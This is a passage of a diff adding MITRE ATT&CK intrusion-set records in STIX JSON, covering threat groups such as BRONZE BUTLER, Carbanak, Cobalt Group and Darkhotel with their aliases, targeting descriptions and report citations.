BUTLER", + "x_mitre_version": "1.3", + "modified": "2021-10-12T19:42:16.869Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "BRONZE BUTLER", + "REDBALDKNIGHT", + "Tick" + ], + "id": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)", + "x_mitre_contributors": [ + "Trend Micro Incorporated" + ], + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0060", + "external_id": "G0060", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)", + "source_name": "BRONZE BUTLER" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)", + "source_name": "REDBALDKNIGHT" + }, + { + "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)", + "source_name": "Tick" + }, + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", + "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.", + "source_name": "Trend Micro Tick November 2019" + }, + { + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "source_name": "Symantec Tick Apr 2016" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BackdoorDiplomacy", + "x_mitre_version": "1.0", + "modified": "2021-10-18T19:47:11.389Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "BackdoorDiplomacy" + ], + "id": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", + "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)", + "x_mitre_contributors": [ + "Zaw Min Htun, @Z3TAE" + ], + "created": "2021-09-21T14:52:49.596Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0135", + "external_id": "G0135", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021", + "source_name": "ESET BackdoorDiplomacy Jun 2021" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BlackOasis", + "description": "[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "aliases": [ + "BlackOasis" + ], + "created": "2018-04-18T17:59:24.739Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0063", + "external_id": "G0063", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017)", + "source_name": "BlackOasis" + }, + { + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "source_name": "Securelist BlackOasis Oct 2017" + }, + { + "url": "https://securelist.com/apt-trends-report-q2-2017/79332/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.", + "source_name": "Securelist APT Trends Q2 2017" + }, + { + "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/", + "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.", + "source_name": "CyberScoop BlackOasis Oct 2017" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "BlackTech", + "x_mitre_version": "1.1", + "modified": "2021-04-20T17:57:07.909Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "BlackTech" + ], + "id": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", + "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017)", + "x_mitre_contributors": [ + "Tatsuya Daitoku, Cyber Defense Institute, Inc." + ], + "created": "2020-05-05T18:36:45.970Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0098", + "external_id": "G0098", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", + "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020.", + "source_name": "TrendMicro BlackTech June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Blue Mockingbird", + "x_mitre_version": "1.1", + "modified": "2021-10-12T21:46:13.007Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Blue Mockingbird" + ], + "id": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", + "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "created": "2020-05-26T20:09:39.139Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0108", + "external_id": "G0108", + "source_name": "mitre-attack" + }, + { + "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.", + "source_name": "RedCanary Mockingbird May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Carbanak", + "x_mitre_version": "2.0", + "modified": "2021-10-18T21:02:30.899Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Carbanak", + "Anunak" + ], + "id": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "created": "2017-05-31T21:31:49.021Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0008", + "external_id": "G0008", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Kaspersky Carbanak) (Citation: Fox-It Anunak Feb 2015)", + "source_name": "Carbanak" + }, + { + "description": "(Citation: Fox-It Anunak Feb 2015)", + "source_name": "Anunak" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "source_name": "Kaspersky Carbanak" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain", + "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.", + "source_name": "Europol Cobalt Mar 2018" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "description": "CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.", + "source_name": "Secureworks GOLD NIAGARA Threat Profile" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain", + "description": "Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021.", + "source_name": "Secureworks GOLD KINGSWOOD Threat Profile" + }, + { + "url": "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/", + "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", + "source_name": "Fox-It Anunak Feb 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Chimera", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", + "x_mitre_version": "2.1", + "modified": "2021-10-12T21:53:00.909Z", + "aliases": [ + "Chimera" + ], + "created": "2020-08-24T17:01:55.842Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0114", + "external_id": "G0114", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: NCC Group Chimera January 2021) ", + "source_name": "Chimera" + }, + { + "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", + "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.", + "source_name": "Cycraft Chimera April 2020" + }, + { + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.", + "source_name": "NCC Group Chimera January 2021" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cleaver", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", + "x_mitre_version": "1.3", + "modified": "2021-10-12T19:34:36.092Z", + "aliases": [ + "Cleaver", + "Threat Group 2889", + "TG-2889" + ], + "created": "2017-05-31T21:31:46.390Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0003", + "external_id": "G0003", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Cylance Cleaver)", + "source_name": "Cleaver" + }, + { + "description": "(Citation: Dell Threat Group 2889)", + "source_name": "Threat Group 2889" + }, + { + "description": "(Citation: Dell Threat Group 2889)", + "source_name": "TG-2889" + }, + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + }, + { + "source_name": "Dell Threat Group 2889", + "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cobalt Group", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)", + "x_mitre_version": "2.0", + "modified": "2021-10-18T22:02:12.586Z", + "aliases": [ + "Cobalt Group", + "GOLD KINGSWOOD", + "Cobalt Gang", + "Cobalt Spider" + ], + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0080", + "external_id": "G0080", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)", + "source_name": "Cobalt Group" + }, + { + "description": "(Citation: Secureworks GOLD KINGSWOOD September 2018)", + "source_name": "GOLD KINGSWOOD" + }, + { + "description": "(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)", + "source_name": "Cobalt Gang" + }, + { + "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)", + "source_name": "Cobalt Spider" + }, + { + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "source_name": "Talos Cobalt Group July 2018" + }, + { + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "source_name": "PTSecurity Cobalt Group Aug 2017" + }, + { + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "source_name": "PTSecurity Cobalt Dec 2016" + }, + { + "url": "https://www.group-ib.com/blog/cobalt", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "source_name": "Group IB Cobalt Aug 2017" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "source_name": "Proofpoint Cobalt June 2017" + }, + { + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "source_name": "RiskIQ Cobalt Nov 2017" + }, + { + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "source_name": "RiskIQ Cobalt Jan 2018" + }, + { + "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain", + "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.", + "source_name": "Europol Cobalt Mar 2018" + }, + { + "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", + "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.", + "source_name": "Secureworks GOLD KINGSWOOD September 2018" + }, + { + "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report", + "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", + "source_name": "Crowdstrike Global Threat Report Feb 2018" + }, + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CopyKittens", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "x_mitre_version": "1.5", + "modified": "2021-05-26T12:32:58.912Z", + "aliases": [ + "CopyKittens" + ], + "created": "2018-01-16T16:13:52.465Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0052", + "external_id": "G0052", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "source_name": "CopyKittens" + }, + { + "source_name": "ClearSky CopyKittens March 2017", + "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/copykitten-jpost/" + }, + { + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017" + }, + { + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "CostaRicto", + "description": "[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)", + "x_mitre_version": "1.0", + "modified": "2021-10-15T20:41:50.305Z", + "aliases": [ + "CostaRicto" + ], + "created": "2021-05-24T13:37:20.240Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--bb82e0b0-6e9c-439f-970a-4c917a74c5f2", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0132", + "external_id": "G0132", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", + "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.", + "source_name": "BlackBerry CostaRicto November 2020" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Dark Caracal", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)", + "x_mitre_version": "1.3", + "modified": "2021-10-11T19:08:18.503Z", + "aliases": [ + "Dark Caracal" + ], + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0070", + "external_id": "G0070", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Lookout Dark Caracal Jan 2018)", + "source_name": "Dark Caracal" + }, + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "DarkHydrus", + "x_mitre_version": "1.3", + "modified": "2021-10-12T19:52:22.454Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "DarkHydrus" + ], + "id": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB" + ], + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0079", + "external_id": "G0079", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 DarkHydrus July 2018)", + "source_name": "DarkHydrus" + }, + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "DarkVishnya", + "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.(Citation: Securelist DarkVishnya Dec 2018)", + "x_mitre_version": "1.1", + "modified": "2021-10-12T22:10:04.107Z", + "aliases": [ + "DarkVishnya" + ], + "created": "2020-05-15T13:07:26.651Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0105", + "external_id": "G0105", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Securelist DarkVishnya Dec 2018)", + "source_name": "DarkVishnya" + }, + { + "url": "https://securelist.com/darkvishnya/89169/", + "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020.", + "source_name": "Securelist DarkVishnya Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Darkhotel", + "x_mitre_version": "2.0", + "modified": "2021-04-22T17:37:58.136Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Darkhotel", + "DUBNIUM" + ], + "id": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)", + "x_mitre_contributors": [ + "Harry, CODEMIZE" + ], + "created": "2017-05-31T21:31:50.624Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0012", + "url": "https://attack.mitre.org/groups/G0012" + }, + { + "description": "(Citation: Kaspersky Darkhotel)", + "source_name": "Darkhotel" + }, + { + "description": "(Citation: Microsoft Digital Defense FY20 Sept 2020)(Citation: Microsoft DUBNIUM June 2016)(Citation: Microsoft DUBNIUM Flash June 2016)(Citation: Microsoft DUBNIUM July 2016)", + "source_name": "DUBNIUM" + }, + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + }, + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + }, + { + "url": "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf", + "description": "Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021.", + "source_name": "Microsoft Digital Defense FY20 Sept 2020" + }, + { + "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", + "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021.", + "source_name": "Microsoft DUBNIUM June 2016" + }, + { + "url": 